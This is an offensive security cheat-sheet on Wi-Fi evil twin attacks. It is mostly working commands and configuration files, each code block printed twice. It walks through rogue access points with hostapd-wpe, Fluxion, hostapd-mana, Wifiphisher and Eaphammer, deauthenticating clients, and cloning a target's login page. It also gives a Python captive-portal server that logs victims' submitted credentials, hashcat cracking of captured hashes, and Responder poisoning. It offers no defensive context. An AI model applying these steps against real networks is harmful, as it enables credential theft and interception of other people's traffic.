Evil Twin Attack

Exploitation
πŸ”₯ Advanced
T1557 T1056

An Evil Twin is a rogue access point that mimics a legitimate network. When clients connect, attackers can capture credentials or intercept traffic.

Prerequisites & Hardware

You Need Two Wireless Adapters

Evil twin attacks require two separate wireless adapters: one to monitor and deauthenticate clients from the real AP (monitor mode + injection), and a second to host the rogue AP. A single adapter cannot do both simultaneously. Recommended pair: ALFA AWUS036ACH + Panda PAU09.

hostapd-wpe (WPA-Enterprise)

Install hostapd-wpe.

01-install-hostapd-wpe.sh
bash
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe
./install.sh
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe
./install.sh

Configure hostapd-wpe.conf.

hostapd-wpe.conf
ini
interface=wlan0
ssid=CorpWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/ca.pem
server_cert=/etc/hostapd-wpe/server.pem
private_key=/etc/hostapd-wpe/server.key
interface=wlan0
ssid=CorpWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/ca.pem
server_cert=/etc/hostapd-wpe/server.pem
private_key=/etc/hostapd-wpe/server.key

Run the attack. Captured credentials will appear in the output.

02-run-hostapd-wpe.sh
bash
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

MSCHAP challenge/response can be cracked. Convert to hashcat format (username::::response:challenge) and crack with mode 5500.

03-crack-mschap.sh
bash
hashcat -m 5500 captured.hash /usr/share/wordlists/rockyou.txt
hashcat -m 5500 captured.hash /usr/share/wordlists/rockyou.txt

Fluxion (Automated WPA-PSK)

Fluxion automates the evil twin process for WPA-PSK networks.

04-fluxion.sh
bash
git clone https://github.com/FluxionNetwork/fluxion
cd fluxion
sudo ./fluxion.sh
git clone https://github.com/FluxionNetwork/fluxion
cd fluxion
sudo ./fluxion.sh

Fluxion workflow:

  1. Scan for targets
  2. Capture handshake
  3. Create evil twin
  4. Deauth clients from real AP
  5. Clients connect to evil twin
  6. Serve captive portal asking for WiFi password
  7. Validate password against handshake

Manual Evil Twin (hostapd + dnsmasq)

Configure hostapd.conf for an open network.

hostapd.conf
ini
interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
wpa=0
interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
wpa=0

Start the fake AP.

05-start-hostapd.sh
bash
sudo hostapd hostapd.conf
sudo hostapd hostapd.conf

Configure DHCP with dnsmasq.

dnsmasq.conf
ini
interface=wlan1
dhcp-range=192.168.1.100,192.168.1.200,12h
address=/#/192.168.1.1
interface=wlan1
dhcp-range=192.168.1.100,192.168.1.200,12h
address=/#/192.168.1.1

Enable IP forwarding and NAT for internet access (optional).

06-enable-nat.sh
bash
sudo sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo sysctl net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

MANA / Karma Attacks

Traditional evil twins mimic a specific SSID. MANA and Karma attacks are more aggressive β€” they respond to all probe requests from nearby devices, pretending to be whatever network each client is looking for. If a phone probes for "HomeWiFi", the rogue AP says "I'm HomeWiFi".

KARMA vs. MANA

KARMA (2004) responded to any probe request β€” but modern OSes randomize probes and won't connect to responses that don't match a saved network. MANA (2014, SensePost) improved on this by also broadcasting loud beacons for every SSID it hears in probe requests, making it visible in the client's network list and triggering automatic connection.

hostapd-mana

07-hostapd-mana.sh
bash
# Install hostapd-mana
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana
make

# Configure MANA mode
cat > mana.conf << 'EOF'
interface=wlan1
ssid=FreeWiFi
channel=6
hw_mode=g

# MANA settings
enable_mana=1
mana_loud=1          # Broadcast beacons for all probed SSIDs
mana_macacl=0        # Don't filter by MAC
enable_karma=1       # Respond to directed probes

# Log all captured probes and associations
mana_outfile=/tmp/mana-creds.log
EOF

sudo ./hostapd-mana mana.conf
# Install hostapd-mana
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana
make

# Configure MANA mode
cat > mana.conf << 'EOF'
interface=wlan1
ssid=FreeWiFi
channel=6
hw_mode=g

# MANA settings
enable_mana=1
mana_loud=1          # Broadcast beacons for all probed SSIDs
mana_macacl=0        # Don't filter by MAC
enable_karma=1       # Respond to directed probes

# Log all captured probes and associations
mana_outfile=/tmp/mana-creds.log
EOF

sudo ./hostapd-mana mana.conf

Wifiphisher (Automated MANA + Phishing)

08-wifiphisher.sh
bash
# Wifiphisher combines MANA with templated phishing pages
sudo apt install wifiphisher

# Auto-select target and launch phishing portal
sudo wifiphisher

# Target specific AP with firmware update phishing template
sudo wifiphisher -aI wlan0 -eI wlan1 \
  --essid CorpWiFi -p firmware-upgrade

# Available phishing scenarios:
#   firmware-upgrade   β€” fake router update page
#   oauth-login        β€” Google/Facebook style login
#   wifi-connect       β€” re-enter WiFi password
#   plugin_update      β€” browser plugin update
# Wifiphisher combines MANA with templated phishing pages
sudo apt install wifiphisher

# Auto-select target and launch phishing portal
sudo wifiphisher

# Target specific AP with firmware update phishing template
sudo wifiphisher -aI wlan0 -eI wlan1 \
  --essid CorpWiFi -p firmware-upgrade

# Available phishing scenarios:
#   firmware-upgrade   β€” fake router update page
#   oauth-login        β€” Google/Facebook style login
#   wifi-connect       β€” re-enter WiFi password
#   plugin_update      β€” browser plugin update

Credential Harvesting Portals

Once clients connect to your evil twin, serve a captive portal that collects credentials. The portal should match the target's visual branding for maximum success.

Portal Architecture

09-portal-setup.sh
bash
# Complete credential harvesting stack:
#
#   Client ──WiFi──> [Evil Twin AP]  ──iptables──> [dnsmasq]
#                                                      β”‚
#                                          DNS: * β†’ 192.168.1.1
#                                                      β”‚
#                                                  [nginx/Apache]
#                                                      β”‚
#                                              Captive Portal Page
#                                              (cloned login page)
#                                                      β”‚
#                                              Credentials β†’ log file

# Step 1: Redirect all HTTP/HTTPS to portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Step 2: dnsmasq β€” resolve everything to portal IP
# address=/#/192.168.1.1  (already in dnsmasq.conf)

# Step 3: Start a simple credential capture server
python3 << 'PYEOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse, datetime

class PortalHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length).decode()
        params = urllib.parse.parse_qs(body)
        ts = datetime.datetime.now().isoformat()
        with open('/tmp/creds.log', 'a') as f:
            f.write(f'{ts} | {self.client_address[0]} | {params}\n')
        self.send_response(302)
        self.send_header('Location', 'http://connectivitycheck.gstatic.com/generate_204')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), PortalHandler).serve_forever()
PYEOF
# Complete credential harvesting stack:
#
#   Client ──WiFi──> [Evil Twin AP]  ──iptables──> [dnsmasq]
#                                                      β”‚
#                                          DNS: * β†’ 192.168.1.1
#                                                      β”‚
#                                                  [nginx/Apache]
#                                                      β”‚
#                                              Captive Portal Page
#                                              (cloned login page)
#                                                      β”‚
#                                              Credentials β†’ log file

# Step 1: Redirect all HTTP/HTTPS to portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Step 2: dnsmasq β€” resolve everything to portal IP
# address=/#/192.168.1.1  (already in dnsmasq.conf)

# Step 3: Start a simple credential capture server
python3 << 'PYEOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse, datetime

class PortalHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length).decode()
        params = urllib.parse.parse_qs(body)
        ts = datetime.datetime.now().isoformat()
        with open('/tmp/creds.log', 'a') as f:
            f.write(f'{ts} | {self.client_address[0]} | {params}\n')
        self.send_response(302)
        self.send_header('Location', 'http://connectivitycheck.gstatic.com/generate_204')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), PortalHandler).serve_forever()
PYEOF

Cloning Target Login Pages

10-clone-portal.sh
bash
# Clone a target's captive portal for realistic phishing
# Use wget to mirror the login page
wget --mirror --convert-links --page-requisites \
  --no-parent https://login.targetcorp.com/wifi-auth/ \
  -P portal-clone/

# Or use httrack for more complex sites
httrack https://login.targetcorp.com/wifi-auth/ \
  -O portal-clone -r2 -%v

# Modify the form action to point to your capture endpoint
# Change: <form action="https://login.targetcorp.com/auth">
# To:     <form action="http://192.168.1.1:8080/capture" method="POST">
# Clone a target's captive portal for realistic phishing
# Use wget to mirror the login page
wget --mirror --convert-links --page-requisites \
  --no-parent https://login.targetcorp.com/wifi-auth/ \
  -P portal-clone/

# Or use httrack for more complex sites
httrack https://login.targetcorp.com/wifi-auth/ \
  -O portal-clone -r2 -%v

# Modify the form action to point to your capture endpoint
# Change: <form action="https://login.targetcorp.com/auth">
# To:     <form action="http://192.168.1.1:8080/capture" method="POST">

Eaphammer Advanced Techniques

Eaphammer automates most evil twin scenarios from a single tool. These advanced options go beyond basic credential capture.

11-eaphammer-advanced.sh
bash
# Hostile portal β€” serves phishing page after client connects
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --captive-portal

# Captive portal with custom HTML template
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi \
  --captive-portal --portal-template /path/to/cloned-login/

# Known beacons β€” broadcast common SSIDs to attract more clients
# ("attwifi", "xfinitywifi", "NETGEAR", etc.)
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds --known-beacons

# ESSID-less mode β€” respond to ALL probes like MANA/Karma
./eaphammer -i wlan0 --channel 6 --negotiate gtc-downgrade \
  --creds --known-beacons

# Simultaneous deauth from second adapter
# This pushes clients from real AP to your rogue AP
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds \
  --deauth-iface wlan1mon
# Hostile portal β€” serves phishing page after client connects
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --captive-portal

# Captive portal with custom HTML template
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi \
  --captive-portal --portal-template /path/to/cloned-login/

# Known beacons β€” broadcast common SSIDs to attract more clients
# ("attwifi", "xfinitywifi", "NETGEAR", etc.)
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds --known-beacons

# ESSID-less mode β€” respond to ALL probes like MANA/Karma
./eaphammer -i wlan0 --channel 6 --negotiate gtc-downgrade \
  --creds --known-beacons

# Simultaneous deauth from second adapter
# This pushes clients from real AP to your rogue AP
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds \
  --deauth-iface wlan1mon

Eaphammer + Responder (LLMNR/NBT-NS Poisoning)

12-eaphammer-responder.sh
bash
# Once clients connect to the evil twin, use Responder
# to capture NTLMv2 hashes from Windows devices

# Terminal 1: Run evil twin
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds

# Terminal 2: Run Responder on the AP interface
sudo responder -I wlan0 -wrf

# Windows clients will attempt LLMNR/NBT-NS resolution
# Responder poisons these and captures NTLMv2 hashes
# Crack with hashcat -m 5600 (NTLMv2)
# Once clients connect to the evil twin, use Responder
# to capture NTLMv2 hashes from Windows devices

# Terminal 1: Run evil twin
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds

# Terminal 2: Run Responder on the AP interface
sudo responder -I wlan0 -wrf

# Windows clients will attempt LLMNR/NBT-NS resolution
# Responder poisons these and captures NTLMv2 hashes
# Crack with hashcat -m 5600 (NTLMv2)

Post-Connection Attacks

After clients connect to your evil twin, the attack surface expands dramatically: Responder for LLMNR/NBT-NS poisoning, mitmproxy for HTTPS interception, Bettercap for ARP spoofing + credential sniffing, and DNS spoofing to redirect specific domains to phishing pages.